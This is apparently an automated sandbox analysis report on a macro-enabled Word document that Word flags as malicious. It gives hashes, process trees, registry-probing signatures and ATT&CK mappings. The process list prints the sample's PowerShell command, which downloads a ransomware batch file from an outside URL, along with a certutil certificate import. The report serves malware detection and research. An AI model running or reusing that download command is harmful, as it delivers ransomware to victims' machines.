7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8

General

Target

7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm
Size

21KB
MD5

68703d8cedb9a7eb60e981edf3139600
SHA1

c51afd15c9094315807afa271037295eb001d5f4
SHA256

7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8
SHA512

7bb915317720dee5849cbd9e99d8ca1b00ccd84c974f2f8821f7c8c7fda4d4553d589079cebb162a52d021382d81fdb79f4fa1672c90f509f0060392039686ee

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.huikeshoven.net/rWareSample/execute-ransomware.bat

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

certutil.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3300	2784	certutil.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1056	2784	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

35 1056 powershell.exe

flow	pid	process
35	1056	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

2784 WINWORD.EXE
2784 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1056 powershell.exe
1056 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1056 powershell.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

WINWORD.EXE

pid process

2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE
2784 WINWORD.EXE

pid	process
2784	WINWORD.EXE
2784	WINWORD.EXE

pid	process
1056	powershell.exe
1056	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1056	powershell.exe

pid	process
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE
2784	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 2784 wrote to memory of 3300	2784	WINWORD.EXE	certutil.exe
PID 2784 wrote to memory of 3300	2784	WINWORD.EXE	certutil.exe
PID 2784 wrote to memory of 1056	2784	WINWORD.EXE	powershell.exe
PID 2784 wrote to memory of 1056	2784	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2784

C:\Windows\System32\certutil.exe
"C:\Windows\System32\certutil.exe" -f -p password -importpfx C:\Users\Admin\Downloads\rWareSamples\artifact-testing.pfx
2⤵
- Process spawned unexpected child process
PID:3300

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX (New-Object Net.WebClient).DownloadFile('http://www.huikeshoven.net/rWareSample/execute-ransomware.bat', 'C:\Users\Admin\Downloads\execute-ransomware.bat')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1056-138-0x0000000000000000-mapping.dmp

Download
memory/1056-139-0x00000159B6390000-0x00000159B63B2000-memory.dmp

Filesize
136KB

Download
memory/1056-140-0x00007FFD9E230000-0x00007FFD9ECF1000-memory.dmp

Filesize
10.8MB

Download
memory/2784-130-0x00007FFD89370000-0x00007FFD89380000-memory.dmp

Filesize
64KB

Download
memory/2784-131-0x00007FFD89370000-0x00007FFD89380000-memory.dmp

Filesize
64KB

Download
memory/2784-132-0x00007FFD89370000-0x00007FFD89380000-memory.dmp

Filesize
64KB

Download
memory/2784-133-0x00007FFD89370000-0x00007FFD89380000-memory.dmp

Filesize
64KB

Download
memory/2784-134-0x00007FFD89370000-0x00007FFD89380000-memory.dmp

Filesize
64KB

Download
memory/2784-135-0x00007FFD86CE0000-0x00007FFD86CF0000-memory.dmp

Filesize
64KB

Download
memory/2784-136-0x00007FFD86CE0000-0x00007FFD86CF0000-memory.dmp

Filesize
64KB

Download
memory/3300-137-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads